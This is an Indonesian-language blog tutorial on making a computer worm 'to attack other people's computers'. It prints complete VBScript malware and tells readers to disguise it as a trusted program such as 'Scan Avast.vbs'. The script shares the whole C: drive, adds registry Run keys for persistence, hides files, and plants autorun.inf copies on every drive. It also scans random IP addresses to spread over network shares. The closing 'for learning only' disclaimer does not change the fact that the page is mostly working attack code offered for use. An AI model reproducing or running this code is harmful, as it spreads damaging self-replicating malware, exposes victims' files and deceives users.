Cara Membuat Virus Malware di Komputer

ara membuat virus komputer dengan cmd – Virus Malware di komputer memang sangat menjengkelkan, namun jika kamu tertarik untuk bisa membuat sebuah malware yang menyerang komputer orang lain, betul sekali untuk membuat malware kamu hanya membutuhkan program notepad di komputer. Malware atau worm ini berfungsi untuk menggandakan dirinya saat terhubung ke jaringan internet.

Malware ini akan berjalan secara otomatis walaupun tanpa sepengetahuan dari pengguna komputer yang dimasukinya. Malware ini masuk melalui celah yang terbuka pada sistem keamanan yang berjalan atau kita menyebutnya dengan istilah vulnerability, bagaimana cara membuat malware ini mari kita simak ulasan kami.  

cara membuat virus di cmd
Untuk bisa membuat sebuah malware bukalah program notepad atau kamu bisa menggunakan aplikasi yang saya berikan ini, aplikasi ini dimana kamu dapat memanipulasi tampilan icon yaang sudah kamu susupi script malware jadi akan berbentuk seperti sebuah aplikasi resmi yang mana orang tidak akan mengetahui bahwa itu sebuah virus, cara membuat virus di cmd.

Cara Membuat Virus Malware di Komputer

1. Bukalah aplikasi notepad atau menggunakan aplikasi ini.
2. Tuliskan script virus malware yang akan saya berikan dibawah ini.
3. Gunakan aplikasi ini agar sobat bisa merubah tampilan gambar agar malware ini bisa terlihat resmi.
4. Tuliskan kode di bawah ini atau bisa mengcopy nya kemudian simpan dengan nama file *.vbs. Agar menyerupai aplikasi resmi gunakan nama –nama yang terkenal untuk bisa mengelabui pengguna komputer misalnya: Scan Avast.vbs

Script kode virus di bawah ini:

‘54807463
On Error Resume Next
Dim Wshshell,Markas,fso,a,RG,raxa,raxb,raxc,raxd,rand,dot,drivecon,sharename,count
count = “0”
dot = “.”
drivecon=”0″
set wshnetwork = wscript.createobject(“wscript.network”)
Set Wshshell = Wscript.CreateObject(“Wscript.Shell”)
Set fso = CreateObject(“Scripting.FileSystemObject”)
RG = “Software\Microsoft\Windows\CurrentVersion”
Set Markas = fso.GetSpecialFolder(0)
SU = Wshshell.SpecialFolders(“AllUsersStartUp”)
SU = Replace(SU, “C:”, “s:”)
If fso.FileExists(“autorun.inf”) then
Wshshell.Run “explorer.exe “

End if

Wshshell.Run(“net share system=C:\ /unlimited”), 0, true
Randomize
For i =1 to 8
r = int(rnd * 50) + 66
polm = polm & Chr(r)

next

polm = Chr(39) & polm & Chr(13) & Chr(10)
Set dropper = fso.OpenTextFile(Wscript.ScriptFullName, 1)
strRan = dropper.readline
src = dropper.readall
strRan = polm
randmat()
Do
If not fso.FileExists(Markas & “\sabotage.vbs”) then
Set dropper = fso.CreateTextFile(Markas & “\sabotage.vbs”, True)
dropper.write strRan
dropper.write src
dropper.Close
fso.GetFile(Markas & “\sabotage.vbs”).attributes = 39
Wshshell.Run “wscript.exe ” & Markas & “\sabotage.vbs”

End if

Wshshell.RegWrite “HKLM” & RG & “\Run\WinSystem”, Markas & “\sabotage.vbs”
Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\HideFileExt”, “1”, “REG_DWORD”
Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\HIDDEN”, “0”, “REG_DWORD”
Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\SHOWSUPERHIDDEN”, “0”, “REG_DWORD”
for each a in fso.drives
If a.isready then
fso.GetFile(a & “\sabotage.vbs”).Attributes = 0
Set dropper = fso.CreateTextFile(a & “\sabotage.vbs”, True)
dropper.write strRan
dropper.write src
dropper.Close
fso.GetFile(a & “\sabotage.vbs”).Attributes = 39
fso.GetFile(a & “\autorun.inf”).Attributes = 0
Set auto = fso.CreateTextFile(a & “\autorun.inf”, True)
auto.WriteLine(“[autorun]”)
auto.WriteLine(“ShellExecute=wscript.exe sabotage.vbs”)
auto.Close
fso.GetFile(a & “\autorun.inf”).Attributes = 39

End if

next
If not Wscript.ScriptFullName = Markas & “\sabotage.vbs” then
Wscript.Quit

End if

do while drivecon = “0”
check()
shareformat()
wshnetwork.mapnetworkdrive “s:”, sharename
enumdrives()
loop
copyfiles()
disconnect()
Wscript.Sleep 60000
Loop

function disconnect()

wshnetwork.removenetworkdrive “s:”
drivecon = “0”
end function

function copyfiles()

Set fso = CreateObject(“scripting.filesystemobject”)
fso.copyfile Wscript.ScriptFullName, SU & “\sab0tage.vbs”
end function
function check()
raxd = raxd + 1
if raxd = “255” then randmat()
end function
function shareformat()
sharename = “\” & raxa & dot & raxb & dot & raxc & dot & raxd & “\C”
end function

function enumdrives()

Set odrives = wshnetwork.enumnetworkdrives
For i = 0 to odrives.Count -1
if sharename = odrives.item(i) then
drivecon = 1
else
‘ drivecon = 0
end if
Next
end function
function randum()
rand = int((254 * rnd) + 1)
end function

function randmat()

if count < 50 then
raxa=Int((16) * Rnd + 199)
count=count + 1
else
randum()
raxa= rand
end if
randum()
raxb=rand
randum()
raxc=rand
raxd=”1″
end function

baca juga: Download Aplikasi Hack Game Android Paling Ampuh 2017
Kami disini hanya memberikan sebuah informasi yang digunakan untuk belajar sobat, jika sobat menggunakan keperluan virus ini untuk tindak kejahatan maka itu diluar dari tanggung jawab team ponselharian.com. Terima kasih telah membaca artikel kami cara membuat virus komputer dengan cmd semoga bermanfaat untuk kamu dan berbagilah untuk sahabat kamu. Selamat berkunjung kembali di ponselharian.com

Tweet